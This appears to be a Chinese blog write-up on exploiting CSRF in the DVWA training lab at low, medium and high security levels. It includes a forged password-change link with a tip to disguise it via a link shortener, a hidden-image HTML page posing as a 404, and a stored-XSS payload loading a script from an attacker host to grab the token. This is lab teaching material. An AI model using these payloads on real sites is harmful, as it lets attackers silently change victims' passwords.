N4 DVWA CSRF(跨站请求伪造)

一、概念

CSRF是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或访问包含攻击代码的页面,在受害者不知情的情况下以受害者身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别在于,CSRF没有盗取cookie,而是直接利用。

二、Low级别

1.代码审计
在这里插入图片描述
我们可以看见,Low级别的代码,只进行了两次密码比对,如果成功就直接修改。
2.漏洞测试
我们首先进行一次正常的修改密码访问
在这里插入图片描述
我们可以看到地址栏变为了如下的内容
在这里插入图片描述
即:
http://DVWA服务器IP地址/DVWA-master/vulnerabilities/csrf/?password_new=新密码&password_conf=重复输入新密码&Change=Change#

这说明,我们只要提交访问该地址,就可以自动将密码变更。
于是,我们对该段链接进行修改:
http://192.168.3.133/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
我们将修改过的链接发送给受害者,受害者只要在他身份信息有效期内,点击该链接,就会自动更改密码。
同时,我们可以将该链接提交到短链接服务,通过缩短域名掩饰攻击意图。
3.漏洞试用
下面,我们进行测试。
我们对该链接进行访问,得到如下反馈。
在这里插入图片描述
下面我们登出测试一下。猴子君将密码输入栏的type属性改为了text,将密码明文显示。这个时候点击Login系统没有反应。
在这里插入图片描述
我们输入123456密码,发现成功登陆,这样Low级别的CSRF就完成了。
在这里插入图片描述

三、medium级别

1.代码审计
在这里插入图片描述
stripos(str1,str2)函数返回字段中str1在str2中第一次出现的位置,该段代码则是查询http的Referer参数是否出现搭载DVWA的服务器主机名(即IP地址)。cmd ipconfig获取
这个函数只检测是否出现该内容,但却不检测是否真实,如果文件名中含有该IP地址,则可以直接绕过。
2.漏洞测试
我们构建一个网页

<html>
<head>
</head>
<body>
<img src="http://192.168.3.133/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none"/>
<h1>404</h1>
<h2>Not Found</h2>
</body>
</html>

然后将网页的名称修改为 IP.html(搭载DVWA服务器的IP地址)
在这里插入图片描述
然后将该文件上传到DVWA服务器上,这里猴子君把文件上传到了csrf的目录内
在这里插入图片描述
于是,构建攻击链接:http://192.168.3.133/DVWA-master/vulnerabilities/csrf/192.168.3.133.html
当我们将该链接发送给受害者时,受害者只要点击该链接就可以将密码修改为123456
3.测试一下
打开该链接,发现是404界面
在这里插入图片描述
返回去登录发现原来的密码无法登录了,改为123456可以正常登录。
在这里插入图片描述
这样,medium级别的CSRF攻击就完毕了。

四、high级别

1.代码审计
在这里插入图片描述
high级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。我们先前的两种方式在这里已经不能使用了,我们需要利用存储型xss和csrf结合起来才可以进行攻击。

这里猴子君放一个大佬的教程
https://www.cnblogs.com/yyxianren/p/11381285.html

整体思路是要结合xss存储型漏洞打组合拳。
通过在黑客服务器写一个js脚本来获取token,然后将token拼接到提交修改密码的请求中。
通过如下链接,引用黑客服务器的js脚本,进而进行改密。

http://www.dvwa.com/vulnerabilities/xss_d/?default=English #<script src="http://www.hack.com/xss.js"></script>

这里,猴子君对js研究水平尚浅,暂时不做细致讲解。等猴子君将这个原理研究明白,再来更新这篇文章。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尐猴子君

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值